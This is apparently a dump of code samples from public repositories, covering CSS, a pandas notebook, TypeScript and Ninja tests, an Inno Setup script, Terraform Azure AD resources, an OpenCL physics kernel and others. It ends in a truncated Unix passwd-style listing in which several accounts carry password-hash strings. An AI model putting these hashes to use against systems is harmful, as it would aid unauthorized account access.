content
stringlengths
4
1.04M
lang
stringclasses
358 values
score
int64
0
5
repo_name
stringlengths
5
114
repo_path
stringlengths
4
229
repo_licenses
sequencelengths
1
8
.main { display: flex; height: calc(100vh - 64px); background-color: white; } .main > section { padding: 32px; }
CSS
4
blomqma/next.js
examples/layout-component/components/layout.module.css
[ "MIT" ]
{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Investor - Flow of Funds - US" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Introduction:\n", "\n", "Special thanks to: https://github.com/rgrp for sharing the dataset.\n", "\n", "### Step 1. Import the necessary libraries" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Step 2. Import the dataset from this [address](https://raw.githubusercontent.com/datasets/investor-flow-of-funds-us/master/data/weekly.csv). " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Step 3. Assign it to a variable called " ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Step 4. What is the frequency of the dataset?" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Step 5. Set the column Date as the index." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Step 6. What is the type of the index?" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Step 7. Set the index to a DatetimeIndex type" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Step 8. Change the frequency to monthly, sum the values and assign it to monthly." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Step 9. You will notice that it filled the dataFrame with months that don't have any data with NaN. Let's drop these rows." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Step 10. Good, now we have the monthly data. Now change the frequency to year." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### BONUS: Create your own question and answer it." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.11" } }, "nbformat": 4, "nbformat_minor": 0 }
Jupyter Notebook
3
wheelerjoshua/pandas-practice
09_Time_Series/Investor_Flow_of_Funds_US/Exercises.ipynb
[ "BSD-3-Clause" ]
/// <reference path='fourslash.ts' /> // @allowJs: true // @Filename: /a.js ////function [|f|]() {} ////f.prototype.bar = [|function|](){ //// this.x = 1; ////}; // Only a suggestion for `f`, not for the function expression. See GH#22240 verify.getSuggestionDiagnostics([{ message: "This constructor function may be converted to a class declaration.", code: 80002, }]); verify.codeFix({ description: "Convert function to an ES2015 class", newFileContent: `class f { constructor() { } bar() { this.x = 1; } } `, });
TypeScript
5
nilamjadhav/TypeScript
tests/cases/fourslash/convertFunctionToEs6Class_falsePositive.ts
[ "Apache-2.0" ]
#define appName "@APP_NAME@™" #define appHomepage "@APP_HOMEPAGE@" #define pappId = "@PAPP_ID@" #define pappGuid = "{@PAPP_GUID@" #define pappName "@APP_NAME@™ Portable" #define pappVersion "@PAPP_VERSION@" #define pappURL "@PAPP_URL@" #define pappFolder "@PAPP_FOLDER@" #define pappPublisher "@PAPP_PUBLISHER@" #define currentYear GetDateTimeString('yyyy', '', ''); [Setup] AppId={#pappGuid} AppName={#pappName} AppVersion={#pappVersion} ;AppVerName={#pappName} {#pappVersion} AppPublisher={#pappPublisher} AppPublisherURL={#pappURL} AppSupportURL={#pappURL} AppUpdatesURL={#pappURL} WizardImageFile=setup.bmp WizardSmallImageFile=setup-mini.bmp DisableWelcomePage=no ShowLanguageDialog=yes SetupIconFile=papp.ico Compression=@ISS_COMPRESSION@ SolidCompression=yes DefaultDirName={sd}\portapps\{#pappId} CreateAppDir=yes Uninstallable=no PrivilegesRequired=lowest ArchitecturesAllowed=@ISS_ARCH@ VersionInfoCompany={#pappPublisher} VersionInfoCopyright={#pappPublisher} {#currentYear} VersionInfoProductName={#pappName} [Languages] Name: "english"; MessagesFile: "compiler:Default.isl" [Files] Source: "@BIN_PATH@\build\*"; DestDir: "{app}"; Flags: ignoreversion recursesubdirs createallsubdirs [InstallDelete] Type: filesandordirs; Name: "{app}\{#pappFolder}" Type: filesandordirs; Name: "{app}\log\*.log" Type: filesandordirs; Name: "{app}\*.log" Type: filesandordirs; Name: "{app}\{#pappId}*.exe" #include "@BIN_PATH@\setup\run.iss" [Messages] WelcomeLabel1=[name] {#pappVersion} WelcomeLabel2=[name] assists you with running {#appName} in a portable way without needing to install it in Windows.%n%nIf the application is running, it is recommended to close it before continuing. [Code] var IsUpgrade: Boolean; NoticePage: TOutputMsgMemoWizardPage; NoticeAcceptedRadio: TRadioButton; NoticeNotAcceptedRadio: TRadioButton; procedure CheckNoticeAccepted(Sender: TObject); begin WizardForm.NextButton.Enabled := NoticeAcceptedRadio.Checked; end; function CloneNoticeRadioButton(Source: TRadioButton): TRadioButton; begin Result := TRadioButton.Create(WizardForm); Result.Parent := NoticePage.Surface; Result.Left := Source.Left; Result.Top := Source.Top; Result.Width := Source.Width; Result.Height := Source.Height; Result.OnClick := @CheckNoticeAccepted; end; procedure InitializeWizard(); begin NoticePage := CreateOutputMsgMemoPage(wpWelcome, 'Notice of Non-Affiliation and Disclaimer', 'Please read the following important information before continuing.', 'When you are ready to continue with Setup, click Next.', ''); NoticePage.RichEditViewer.Height := WizardForm.LicenseMemo.Height; NoticePage.RichEditViewer.Text := 'Portapps is not affiliated, associated, authorized, endorsed by, or in any way officially connected with {#appName}, or any of its subsidiaries or its affiliates.' + #13#10 + #13#10 + 'The official {#appName} website can be found at {#appHomepage}.' + #13#10 + #13#10 + 'The name {#appName} as well as related names, marks, emblems and images are registered trademarks of their respective owners.'; NoticeAcceptedRadio := CloneNoticeRadioButton(WizardForm.LicenseAcceptedRadio); NoticeAcceptedRadio.Caption := 'I understand this notice'; NoticeNotAcceptedRadio := CloneNoticeRadioButton(WizardForm.LicenseNotAcceptedRadio); NoticeNotAcceptedRadio.Caption := 'I''d rather not continue'; NoticeNotAcceptedRadio.Checked := True; end; procedure CurPageChanged(CurPageID: Integer); begin if CurPageID = NoticePage.ID then begin CheckNoticeAccepted(nil); end; end; function isEmptyDir(dirName: String): Boolean; var FindRec: TFindRec; FileCount: Integer; begin Result := False; if FindFirst(dirName + '\*', FindRec) then begin try repeat if (FindRec.Name <> '.') and (FindRec.Name <> '..') then begin FileCount := 1; break; end; until not FindNext(FindRec); finally FindClose(FindRec); if FileCount = 0 then Result := True; end; end; end; function InitializeSetup: Boolean; begin Result := True; IsUpgrade := False; end; function NextButtonClick(PageId: Integer): Boolean; begin Result := True; if (PageId = wpSelectDir) then begin if DirExists(ExpandConstant('{app}')) and not isEmptyDir(ExpandConstant('{app}')) then begin IsUpgrade := True; end; if IsUpgrade then begin if FileExists(ExpandConstant('{app}\portapp.json')) then begin Result := True; end else begin MsgBox(ExpandConstant('The selected dir is not empty or you are performing an upgrade of {#pappName} but required file portapp.json cannot be found. Please select a correct folder.'), mbError, MB_OK); Result := False; exit; end; end; end; end;
Inno Setup
4
Site-Command/portapps
res/setup.iss
[ "MIT" ]
package scala.tools.eclipse.contribution.weaving.jdt.jdi; import java.io.PrintWriter; import java.io.StringWriter; import org.eclipse.core.runtime.IStatus; import org.eclipse.core.runtime.Status; import scala.tools.eclipse.contribution.weaving.jdt.ScalaJDTWeavingPlugin; public aspect JdiEntryGuardianAspect { pointcut jdiInvocation(): call(* com.sun.jdi.*.*(..)); before(): jdiInvocation() { if (!JdiInvocationSynchronizer.instance().isLocked()) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw); for (StackTraceElement traceElement: Thread.currentThread().getStackTrace()) { pw.println(traceElement.toString()); } pw.flush(); pw.close(); ScalaJDTWeavingPlugin.getInstance().getLog().log(new Status(IStatus.WARNING, ScalaJDTWeavingPlugin.ID, sw.toString())); } } }
AspectJ
4
elemgee/scala-ide
org.scala-ide.sdt.aspects/src/scala/tools/eclipse/contribution/weaving/jdt/jdi/JdiEntryGuardianAspect.aj
[ "BSD-3-Clause" ]
# Check that a command with no inputs runs properly on the first invocation, # even if the output already exists. # # RUN: rm -rf %t.build # RUN: mkdir -p %t.build # RUN: cp %s %t.build/build.ninja # RUN: touch %t.build/output # RUN: %{llbuild} ninja build --jobs 1 --chdir %t.build &> %t1.out # RUN: %{FileCheck} --check-prefix CHECK-FIRST --input-file %t1.out %s # # CHECK-FIRST: [1/{{.*}}] date > output # Running again should do nothing. # # RUN: %{llbuild} ninja build --jobs 1 --chdir %t.build &> %t2.out # RUN: %{FileCheck} --check-prefix CHECK-SECOND --input-file %t2.out %s # # CHECK-SECOND-NOT: date rule DATE command = date > ${out} build output: DATE
Ninja
4
uraimo/swift-llbuild
tests/Ninja/Build/no-inputs.ninja
[ "Apache-2.0" ]
<%-- Copyright 2012 Netflix, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --%> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <meta name="layout" content="main"/> <title>Subnets</title> </head> <body> <div class="body"> <h1>Subnets in ${region.description}</h1> <g:if test="${flash.message}"> <div class="message">${flash.message}</div> </g:if> <g:form method="post"> <div class="list"> <table class="sortable"> <thead> <tr> <th>Subnet ID</th> <th>VPC ID</th> <th>State</th> <th>Availability Zone</th> <th>Available</th> <th>CIDR</th> <th>Purpose</th> <th>Target</th> </tr> </thead> <tbody> <g:each var="subnet" in="${subnets}" status="i"> <tr class="${(i % 2) == 0 ? 'odd' : 'even'}"> <td>${subnet.subnetId}</td> <td>${subnet.vpcId}</td> <td>${subnet.state}</td> <td><g:availabilityZone value="${subnet.availabilityZone}"/></td> <td>${subnet.availableIpAddressCount}</td> <td>${subnet.cidrBlock}</td> <td>${subnet.purpose}</td> <td>${subnet.target}</td> </tr> </g:each> </tbody> </table> </div> </g:form> </div> </body> </html>
Groovy Server Pages
3
michaelneale/asgard
grails-app/views/subnet/list.gsp
[ "Apache-2.0" ]
resource "azuread_application" "diem" { display_name = "diem-${terraform.workspace}/cluster" prevent_duplicate_names = true } resource "azuread_service_principal" "diem" { application_id = azuread_application.diem.application_id } // Per https://registry.terraform.io/providers/hashicorp/azuread/latest/docs/resources/application_password, // SP I am authenticated with must have permissions to both Read and Write all applications and Sign in and Read user profile within the Windows Azure Active Directory API resource "azuread_application_password" "diem" { application_object_id = azuread_application.diem.object_id end_date_relative = "8760h" } resource "azurerm_role_assignment" "subnet" { principal_id = azuread_service_principal.diem.id role_definition_name = "Network Contributor" scope = azurerm_subnet.nodes.id } resource "azurerm_user_assigned_identity" "vault" { name = "diem-${terraform.workspace}-vault" resource_group_name = azurerm_resource_group.diem.name location = azurerm_resource_group.diem.location }
HCL
4
PragmaTwice/diem
terraform/validator/azure/auth.tf
[ "Apache-2.0" ]
/* Copyright (c) 2012 Advanced Micro Devices, Inc. This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. */ //Originally written by Takahiro Harada #include "Bullet3Collision/NarrowPhaseCollision/shared/b3Contact4Data.h" #pragma OPENCL EXTENSION cl_amd_printf : enable #pragma OPENCL EXTENSION cl_khr_local_int32_base_atomics : enable #pragma OPENCL EXTENSION cl_khr_global_int32_base_atomics : enable #pragma OPENCL EXTENSION cl_khr_local_int32_extended_atomics : enable #pragma OPENCL EXTENSION cl_khr_global_int32_extended_atomics : enable #ifdef cl_ext_atomic_counters_32 #pragma OPENCL EXTENSION cl_ext_atomic_counters_32 : enable #else #define counter32_t volatile global int* #endif typedef unsigned int u32; typedef unsigned short u16; typedef unsigned char u8; #define GET_GROUP_IDX get_group_id(0) #define GET_LOCAL_IDX get_local_id(0) #define GET_GLOBAL_IDX get_global_id(0) #define GET_GROUP_SIZE get_local_size(0) #define GET_NUM_GROUPS get_num_groups(0) #define GROUP_LDS_BARRIER barrier(CLK_LOCAL_MEM_FENCE) #define GROUP_MEM_FENCE mem_fence(CLK_LOCAL_MEM_FENCE) #define AtomInc(x) atom_inc(&(x)) #define AtomInc1(x, out) out = atom_inc(&(x)) #define AppendInc(x, out) out = atomic_inc(x) #define AtomAdd(x, value) atom_add(&(x), value) #define AtomCmpxhg(x, cmp, value) atom_cmpxchg( &(x), cmp, value ) #define AtomXhg(x, value) atom_xchg ( &(x), value ) #define SELECT_UINT4( b, a, condition ) select( b,a,condition ) #define make_float4 (float4) #define make_float2 (float2) #define make_uint4 (uint4) #define make_int4 (int4) #define make_uint2 (uint2) #define make_int2 (int2) #define max2 max #define min2 min /////////////////////////////////////// // Vector /////////////////////////////////////// __inline float fastDiv(float numerator, float denominator) { return native_divide(numerator, denominator); // return numerator/denominator; } __inline float4 fastDiv4(float4 numerator, float4 denominator) { return native_divide(numerator, denominator); } __inline float fastSqrtf(float f2) { return native_sqrt(f2); // return sqrt(f2); } __inline float fastRSqrt(float f2) { return native_rsqrt(f2); } __inline float fastLength4(float4 v) { return fast_length(v); } __inline float4 fastNormalize4(float4 v) { return fast_normalize(v); } __inline float sqrtf(float a) { // return sqrt(a); return native_sqrt(a); } __inline float4 cross3(float4 a, float4 b) { return cross(a,b); } __inline float dot3F4(float4 a, float4 b) { float4 a1 = make_float4(a.xyz,0.f); float4 b1 = make_float4(b.xyz,0.f); return dot(a1, b1); } __inline float length3(const float4 a) { return sqrtf(dot3F4(a,a)); } __inline float dot4(const float4 a, const float4 b) { return dot( a, b ); } // for height __inline float dot3w1(const float4 point, const float4 eqn) { return dot3F4(point,eqn) + eqn.w; } __inline float4 normalize3(const float4 a) { float4 n = make_float4(a.x, a.y, a.z, 0.f); return fastNormalize4( n ); // float length = sqrtf(dot3F4(a, a)); // return 1.f/length * a; } __inline float4 normalize4(const float4 a) { float length = sqrtf(dot4(a, a)); return 1.f/length * a; } __inline float4 createEquation(const float4 a, const float4 b, const float4 c) { float4 eqn; float4 ab = b-a; float4 ac = c-a; eqn = normalize3( cross3(ab, ac) ); eqn.w = -dot3F4(eqn,a); return eqn; } /////////////////////////////////////// // Matrix3x3 /////////////////////////////////////// typedef struct { float4 m_row[3]; }Matrix3x3; __inline Matrix3x3 mtZero(); __inline Matrix3x3 mtIdentity(); __inline Matrix3x3 mtTranspose(Matrix3x3 m); __inline Matrix3x3 mtMul(Matrix3x3 a, Matrix3x3 b); __inline float4 mtMul1(Matrix3x3 a, float4 b); __inline float4 mtMul3(float4 a, Matrix3x3 b); __inline Matrix3x3 mtZero() { Matrix3x3 m; m.m_row[0] = (float4)(0.f); m.m_row[1] = (float4)(0.f); m.m_row[2] = (float4)(0.f); return m; } __inline Matrix3x3 mtIdentity() { Matrix3x3 m; m.m_row[0] = (float4)(1,0,0,0); m.m_row[1] = (float4)(0,1,0,0); m.m_row[2] = (float4)(0,0,1,0); return m; } __inline Matrix3x3 mtTranspose(Matrix3x3 m) { Matrix3x3 out; out.m_row[0] = (float4)(m.m_row[0].x, m.m_row[1].x, m.m_row[2].x, 0.f); out.m_row[1] = (float4)(m.m_row[0].y, m.m_row[1].y, m.m_row[2].y, 0.f); out.m_row[2] = (float4)(m.m_row[0].z, m.m_row[1].z, m.m_row[2].z, 0.f); return out; } __inline Matrix3x3 mtMul(Matrix3x3 a, Matrix3x3 b) { Matrix3x3 transB; transB = mtTranspose( b ); Matrix3x3 ans; // why this doesn't run when 0ing in the for{} a.m_row[0].w = 0.f; a.m_row[1].w = 0.f; a.m_row[2].w = 0.f; for(int i=0; i<3; i++) { // a.m_row[i].w = 0.f; ans.m_row[i].x = dot3F4(a.m_row[i],transB.m_row[0]); ans.m_row[i].y = dot3F4(a.m_row[i],transB.m_row[1]); ans.m_row[i].z = dot3F4(a.m_row[i],transB.m_row[2]); ans.m_row[i].w = 0.f; } return ans; } __inline float4 mtMul1(Matrix3x3 a, float4 b) { float4 ans; ans.x = dot3F4( a.m_row[0], b ); ans.y = dot3F4( a.m_row[1], b ); ans.z = dot3F4( a.m_row[2], b ); ans.w = 0.f; return ans; } __inline float4 mtMul3(float4 a, Matrix3x3 b) { float4 colx = make_float4(b.m_row[0].x, b.m_row[1].x, b.m_row[2].x, 0); float4 coly = make_float4(b.m_row[0].y, b.m_row[1].y, b.m_row[2].y, 0); float4 colz = make_float4(b.m_row[0].z, b.m_row[1].z, b.m_row[2].z, 0); float4 ans; ans.x = dot3F4( a, colx ); ans.y = dot3F4( a, coly ); ans.z = dot3F4( a, colz ); return ans; } /////////////////////////////////////// // Quaternion /////////////////////////////////////// typedef float4 Quaternion; __inline Quaternion qtMul(Quaternion a, Quaternion b); __inline Quaternion qtNormalize(Quaternion in); __inline float4 qtRotate(Quaternion q, float4 vec); __inline Quaternion qtInvert(Quaternion q); __inline Quaternion qtMul(Quaternion a, Quaternion b) { Quaternion ans; ans = cross3( a, b ); ans += a.w*b+b.w*a; // ans.w = a.w*b.w - (a.x*b.x+a.y*b.y+a.z*b.z); ans.w = a.w*b.w - dot3F4(a, b); return ans; } __inline Quaternion qtNormalize(Quaternion in) { return fastNormalize4(in); // in /= length( in ); // return in; } __inline float4 qtRotate(Quaternion q, float4 vec) { Quaternion qInv = qtInvert( q ); float4 vcpy = vec; vcpy.w = 0.f; float4 out = qtMul(qtMul(q,vcpy),qInv); return out; } __inline Quaternion qtInvert(Quaternion q) { return (Quaternion)(-q.xyz, q.w); } __inline float4 qtInvRotate(const Quaternion q, float4 vec) { return qtRotate( qtInvert( q ), vec ); } #define WG_SIZE 64 typedef struct { float4 m_pos; Quaternion m_quat; float4 m_linVel; float4 m_angVel; u32 m_shapeIdx; float m_invMass; float m_restituitionCoeff; float m_frictionCoeff; } Body; typedef struct { Matrix3x3 m_invInertia; Matrix3x3 m_initInvInertia; } Shape; typedef struct { float4 m_linear; float4 m_worldPos[4]; float4 m_center; float m_jacCoeffInv[4]; float m_b[4]; float m_appliedRambdaDt[4]; float m_fJacCoeffInv[2]; float m_fAppliedRambdaDt[2]; u32 m_bodyA; u32 m_bodyB; int m_batchIdx; u32 m_paddings[1]; } Constraint4; typedef struct { int m_nConstraints; int m_start; int m_batchIdx; int m_nSplit; // int m_paddings[1]; } ConstBuffer; typedef struct { int m_solveFriction; int m_maxBatch; // long batch really kills the performance int m_batchIdx; int m_nSplit; // int m_paddings[1]; } ConstBufferBatchSolve; typedef struct { int m_valInt0; int m_valInt1; int m_valInt2; int m_valInt3; float m_val0; float m_val1; float m_val2; float m_val3; } SolverDebugInfo; // others __kernel __attribute__((reqd_work_group_size(WG_SIZE,1,1))) void ReorderContactKernel(__global struct b3Contact4Data* in, __global struct b3Contact4Data* out, __global int2* sortData, int4 cb ) { int nContacts = cb.x; int gIdx = GET_GLOBAL_IDX; if( gIdx < nContacts ) { int srcIdx = sortData[gIdx].y; out[gIdx] = in[srcIdx]; } } __kernel __attribute__((reqd_work_group_size(WG_SIZE,1,1))) void SetDeterminismSortDataChildShapeB(__global struct b3Contact4Data* contactsIn, __global int2* sortDataOut, int nContacts) { int gIdx = GET_GLOBAL_IDX; if( gIdx < nContacts ) { int2 sd; sd.x = contactsIn[gIdx].m_childIndexB; sd.y = gIdx; sortDataOut[gIdx] = sd; } } __kernel __attribute__((reqd_work_group_size(WG_SIZE,1,1))) void SetDeterminismSortDataChildShapeA(__global struct b3Contact4Data* contactsIn, __global int2* sortDataInOut, int nContacts) { int gIdx = GET_GLOBAL_IDX; if( gIdx < nContacts ) { int2 sdIn; sdIn = sortDataInOut[gIdx]; int2 sdOut; sdOut.x = contactsIn[sdIn.y].m_childIndexA; sdOut.y = sdIn.y; sortDataInOut[gIdx] = sdOut; } } __kernel __attribute__((reqd_work_group_size(WG_SIZE,1,1))) void SetDeterminismSortDataBodyA(__global struct b3Contact4Data* contactsIn, __global int2* sortDataInOut, int nContacts) { int gIdx = GET_GLOBAL_IDX; if( gIdx < nContacts ) { int2 sdIn; sdIn = sortDataInOut[gIdx]; int2 sdOut; sdOut.x = contactsIn[sdIn.y].m_bodyAPtrAndSignBit; sdOut.y = sdIn.y; sortDataInOut[gIdx] = sdOut; } } __kernel __attribute__((reqd_work_group_size(WG_SIZE,1,1))) void SetDeterminismSortDataBodyB(__global struct b3Contact4Data* contactsIn, __global int2* sortDataInOut, int nContacts) { int gIdx = GET_GLOBAL_IDX; if( gIdx < nContacts ) { int2 sdIn; sdIn = sortDataInOut[gIdx]; int2 sdOut; sdOut.x = contactsIn[sdIn.y].m_bodyBPtrAndSignBit; sdOut.y = sdIn.y; sortDataInOut[gIdx] = sdOut; } } typedef struct { int m_nContacts; int m_staticIdx; float m_scale; int m_nSplit; } ConstBufferSSD; __constant const int gridTable4x4[] = { 0,1,17,16, 1,2,18,19, 17,18,32,3, 16,19,3,34 }; __constant const int gridTable8x8[] = { 0, 2, 3, 16, 17, 18, 19, 1, 66, 64, 80, 67, 82, 81, 65, 83, 131,144,128,130,147,129,145,146, 208,195,194,192,193,211,210,209, 21, 22, 23, 5, 4, 6, 7, 20, 86, 85, 69, 87, 70, 68, 84, 71, 151,133,149,150,135,148,132,134, 197,27,214,213,212,199,198,196 }; #define USE_SPATIAL_BATCHING 1 #define USE_4x4_GRID 1 __kernel __attribute__((reqd_work_group_size(WG_SIZE,1,1))) void SetSortDataKernel(__global struct b3Contact4Data* gContact, __global Body* gBodies, __global int2* gSortDataOut, int nContacts,float scale,int4 nSplit,int staticIdx) { int gIdx = GET_GLOBAL_IDX; if( gIdx < nContacts ) { int aPtrAndSignBit = gContact[gIdx].m_bodyAPtrAndSignBit; int bPtrAndSignBit = gContact[gIdx].m_bodyBPtrAndSignBit; int aIdx = abs(aPtrAndSignBit ); int bIdx = abs(bPtrAndSignBit); bool aStatic = (aPtrAndSignBit<0) ||(aPtrAndSignBit==staticIdx); bool bStatic = (bPtrAndSignBit<0) ||(bPtrAndSignBit==staticIdx); #if USE_SPATIAL_BATCHING int idx = (aStatic)? bIdx: aIdx; float4 p = gBodies[idx].m_pos; int xIdx = (int)((p.x-((p.x<0.f)?1.f:0.f))*scale) & (nSplit.x-1); int yIdx = (int)((p.y-((p.y<0.f)?1.f:0.f))*scale) & (nSplit.y-1); int zIdx = (int)((p.z-((p.z<0.f)?1.f:0.f))*scale) & (nSplit.z-1); int newIndex = (xIdx+yIdx*nSplit.x+zIdx*nSplit.x*nSplit.y); #else//USE_SPATIAL_BATCHING #if USE_4x4_GRID int aa = aIdx&3; int bb = bIdx&3; if (aStatic) aa = bb; if (bStatic) bb = aa; int gridIndex = aa + bb*4; int newIndex = gridTable4x4[gridIndex]; #else//USE_4x4_GRID int aa = aIdx&7; int bb = bIdx&7; if (aStatic) aa = bb; if (bStatic) bb = aa; int gridIndex = aa + bb*8; int newIndex = gridTable8x8[gridIndex]; #endif//USE_4x4_GRID #endif//USE_SPATIAL_BATCHING gSortDataOut[gIdx].x = newIndex; gSortDataOut[gIdx].y = gIdx; } else { gSortDataOut[gIdx].x = 0xffffffff; } } __kernel __attribute__((reqd_work_group_size(WG_SIZE,1,1))) void CopyConstraintKernel(__global struct b3Contact4Data* gIn, __global struct b3Contact4Data* gOut, int4 cb ) { int gIdx = GET_GLOBAL_IDX; if( gIdx < cb.x ) { gOut[gIdx] = gIn[gIdx]; } }
OpenCL
5
N0hbdy/godot
thirdparty/bullet/Bullet3OpenCL/RigidBody/kernels/solverSetup2.cl
[ "CC-BY-3.0", "Apache-2.0", "MIT" ]
""" 42 """ import Boo.Lang.Compiler.Ast macro custom_class(name as ReferenceExpression): yield [| class $name: $(custom_class.Body) |] custom_class Foo: internal property Value as int f = Foo(Value: 42) print f.Value
Boo
3
popcatalin81/boo
tests/testcases/macros/custom-class-macro-with-internal-property.boo
[ "BSD-3-Clause" ]
// Copyright 2019 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package ssa type T struct{} func (T) foo() {} type fooer interface { foo() } func Unused(v interface{}) { v.(fooer).foo() v.(interface{ foo() }).foo() }
Go
4
SSSDNSY/go
test/fixedbugs/issue29612.dir/p1/ssa/ssa.go
[ "BSD-3-Clause" ]
mel mel bwk bwk me ken ken him someone else srb srb lem lem scj scj rhm rhm shen shen a68 a68 sif sif pjw pjw nls nls dmr dmr cda cda bs bs llc llc mb mb ava ava jrv jrv bin bin greg greg dict dict lck lck rje rje lwf lwf dave dave jhc jhc agf agf doug doug valerie valerie jca jca bbs bbs moh moh xchar xchar tbl tbl s s tgs tgs met met jck jck port port sue sue root root bsb bsb jeg jeg eag eag pdj pdj tpc tpc cvw cvw rwm rwm avg avg eg eg jam jam dl dl lgm lgm cmb cmb jwr jwr gdb gdb marc marc usg usg ggr ggr daemon daemon mihalis mihalis honey honey tad tad acs acs uucp uucp raf raf adh adh kec kec craig craig donmac donmac jj jj ravi ravi drw drw stars stars mrg mrg jcb jcb ralph ralph tom tom sjb sjb haight haight sharon sharon chuck chuck dsj dsj bill bill god god sys sys meh meh jon jon dan dan fox fox dale dale kab kab buz buz asc asc jas jas trt trt wsb wsb dwh dwh ktf ktf lr lr dlc dlc dls dls jwf jwf mash mash ars ars vgl vgl jfo jfo rab rab pd pd jns jns spm spm rob rob egb egb hm hm mhb mhb aed aed cpb cpb evp evp ber ber men men mitch mitch ast ast jfr jfr lax lax nel nel blue blue jfk jfk njas njas 122sec 122sec ddwar ddwar gopi gopi jk jk learn learn low low nac nac sidor sidor running running tcsh [cbm]:/:/bin/tcsh V V Administration:/usr/admin:/bin/sh Diagnostics:/usr/diags:/bin/csh Diagnostics:/usr/diags:/bin/csh Tools Tools Owner:/bin:/dev/null Activity Activity Owner:/usr/adm:/bin/sh Files Files Owner:/usr/adm:/bin/sh Spooler Spooler Owner:/var/spool/lp:/bin/sh Activity Activity Owner:/auditor:/bin/sh Database Database Owner:/dbadmin:/bin/sh Killian Killian (DO NOT REMOVE):/tmp: Killian Killian (DO NOT REMOVE):/tmp: Daemon Daemon and Fsdump:/var/rfindd:/bin/sh Setup:/var/sysadmdesktop/EZsetup:/bin/csh Setup:/var/sysadmdesktop/EZsetup:/bin/csh User:/usr/demos:/bin/csh User:/usr/demos:/bin/csh User:/usr/tutor:/bin/csh User:/usr/tutor:/bin/csh Space Space Tour:/usr/people/tour:/bin/csh Account:/usr/people/guest:/bin/csh Account:/usr/people/guest:/bin/csh Account:/usr/people/4Dgifts:/bin/csh Account:/usr/people/4Dgifts:/bin/csh nobody nobody uid:/dev/null:/dev/null no no access:/dev/null:/dev/null nobody nobody uid:/dev/null:/dev/null Owner:/usr/spool/rje: Owner:/usr/spool/rje: change change log:/: distributions:/v/adm/dist:/v/bin/sh distributions:/v/adm/dist:/v/bin/sh Manual Manual Owner:/: call call log [tom]:/v/adm/log:/v/bin/sh oot oot EMpNB8Zp56 0 0 Super-User,,,,,,, / /bin/sh oottcsh oottcsh * 0 0 Super-User running tcsh [cbm] / /bin/tcsh ysadm ysadm * 0 0 System V Administration /usr/admin /bin/sh iag iag * 0 996 Hardware Diagnostics /usr/diags /bin/csh aemon aemon * 1 1 daemons / /bin/sh in in * 2 2 System Tools Owner /bin /dev/null uucp uucp BJnuQbAo 6 10 UUCP.Admin /usr/spool/uucppublic /usr/lib/uucp/uucico ucp ucp * 3 5 UUCP.Admin /usr/lib/uucp ys ys * 4 0 System Activity Owner /usr/adm /bin/sh adm adm * 5 3 Accounting Files Owner /usr/adm /bin/sh lp lp * 9 9 Print Spooler Owner /var/spool/lp /bin/sh auditor auditor * 11 0 Audit Activity Owner /auditor /bin/sh dbadmin dbadmin * 12 0 Security Database Owner /dbadmin /bin/sh bootes bootes dcon 50 1 Tom Killian (DO NOT REMOVE) /tmp cdjuke cdjuke dcon 51 1 Tom Killian (DO NOT REMOVE) /tmp rfindd rfindd * 66 1 Rfind Daemon and Fsdump /var/rfindd /bin/sh EZsetup EZsetup * 992 998 System Setup /var/sysadmdesktop/EZsetup /bin/csh demos demos * 993 997 Demonstration User /usr/demos /bin/csh tutor tutor * 994 997 Tutorial User /usr/tutor /bin/csh tour tour * 995 997 IRIS Space Tour /usr/people/tour /bin/csh guest guest nfP4/Wpvio/Rw 998 998 Guest Account /usr/people/guest /bin/csh 4Dgifts 4Dgifts 0nWRTZsOMt. 999 998 4Dgifts Account /usr/people/4Dgifts /bin/csh nobody nobody * 60001 60001 SVR4 nobody uid /dev/null /dev/null noaccess noaccess * 60002 60002 uid no 